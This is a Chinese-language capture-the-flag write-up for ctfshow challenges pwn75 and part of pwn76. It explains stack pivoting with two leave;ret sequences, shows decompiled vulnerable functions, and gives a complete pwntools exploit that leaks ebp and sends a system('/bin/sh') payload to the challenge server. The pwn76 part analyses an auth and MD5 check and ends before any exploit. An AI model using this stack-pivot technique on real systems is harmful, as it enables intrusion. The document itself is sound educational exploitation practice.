pwn75栈迁移

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

题目提示”栈空间不够怎么办”,可以用栈迁移

栈迁移原理是利用两次leave ret先将ebp的值修改为输入shell的地址,再利用第二次leave ret将esp的值改为ebp的值,pop ebp将此时栈顶的值弹入ebp中,esp+4执行ret也就是pop eip将当前栈顶内容弹入执行流,使我们压在栈上非返回地址处的地址也可以执行达到控制执行流的效果

观察程序

漏洞函数:ctfshow

1
2
3
4
5
6
7
8
9
10
11
int ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Welcome, %s\n", s);
puts("What do you want to do?");
read(0, s, 0x30u);
return printf("Nothing here ,%s\n", s);
}

两次输入,但是只有8个溢出字节,显然不太够用所以想到第一次read泄露ebp的值,第二次read将get shell程序写到栈上最后两次leave ret返回起始输入地址执行代码

第一次read

1
2
3
4
5
io.recv()
io.send(b'a'*(0x28-1)+b'b')
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4).ljust(4,b'\x00'))
print('ebp>>>'+hex(ebp_addr))

注意,在ida中s虽然只有36个字节的空间,但是其到ebp的距离仍然是0x28,不要写成36了

得到ebp地址是为了计算栈上起始输入数据存放的地址

第二次read

1
2
3
4
5
s_addr=ebp_addr-0x38
sh_addr=s_addr+0x10

payload=b'aaaa'+p32(system)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'
payload+=b'a'*0x10+p32(s_addr)+p32(leave_ret)

程序里有system函数我们直接用即可,但是没有/bin/sh所以需要手动压入/bin/sh其中s_addr即为起始输入地址,用其覆盖掉ebp再将返回地址修改为leave ret加上函数调用结尾自带的leave ret即可达成栈迁移

我们利用gdb进行调试来确定二者的偏移

1

输入aaaa后可以看到输入位于0xffffd160处,ebp的值为0xffffd198此处注意我们最后修改的是ebp的值而不是ebp的地址所以此处偏移是用ebp的值减去输入位置的地址即0x38

因为迁移后esp会加4故前4个地址无效

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*

#context(os = 'linux', arch = 'amd64', log_level = 'debug')
context(os = 'linux', arch = 'i386', log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28252)
elf = ELF('./pwn')
io.recv()
io.send(b'a'*(0x28-1)+b'b')
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4).ljust(4,b'\x00'))
print('ebp>>>'+hex(ebp_addr))
leave_ret=0x08048766
system=elf.plt['system']
s_addr=ebp_addr-0x38
sh_addr=s_addr+0x10

payload=b'aaaa'+p32(system)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'
payload+=b'a'*0x10+p32(s_addr)+p32(leave_ret)
io.send(payload)
io.interactive()

pwn76

check

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序静态链接,自带shell需要满足一定条件才能执行,也对应了提示中的叫我们理清逻辑

想要get shell需要进入到correct函数,且input 等于0xDEADBEEF

想要进入correct函数需要auth(v7)==1

auth()函数

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(unsigned int a1)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
char v4[8]; // [esp+20h] [ebp-8h] BYREF

memcpy(v4, input, a1);
s2 = calc_md5(v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

返回值为strcmp的返回值是否等于0如果等于则返回1不等于则返回0要想auth(v7)==1就需要保证s2=f87cd601aa7fedca99018a8be88eda34接下来思考如何将s2的值改为这串字符

memcpy(v4, input, a1);表示将input处的a1个字节复制给v4

s2 = calc_md5(v2, 12);s2的内容由calc_md5()这个函数决定

calc_md5()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// a1==v2 a2==12
int __cdecl calc_md5(int a1, int a2)
{
char v3[16]; // [esp+1Ch] [ebp-7Ch] BYREF
char v4[92]; // [esp+2Ch] [ebp-6Ch] BYREF
int v5; // [esp+88h] [ebp-10h]
int i; // [esp+8Ch] [ebp-Ch]

v5 = malloc(33);
MD5_Init(v4);
while ( a2 > 0 )
{
if ( a2 <= 512 )
MD5_Update(v4, a1, a2);
else
MD5_Update(v4, a1, 512);
a2 -= 512;
a1 += 512;
}
MD5_Final(v3, v4);
for ( i = 0; i <= 15; ++i )
snprintf(2 * i + v5, 32, "%02x", v3[i]);
return v5;
}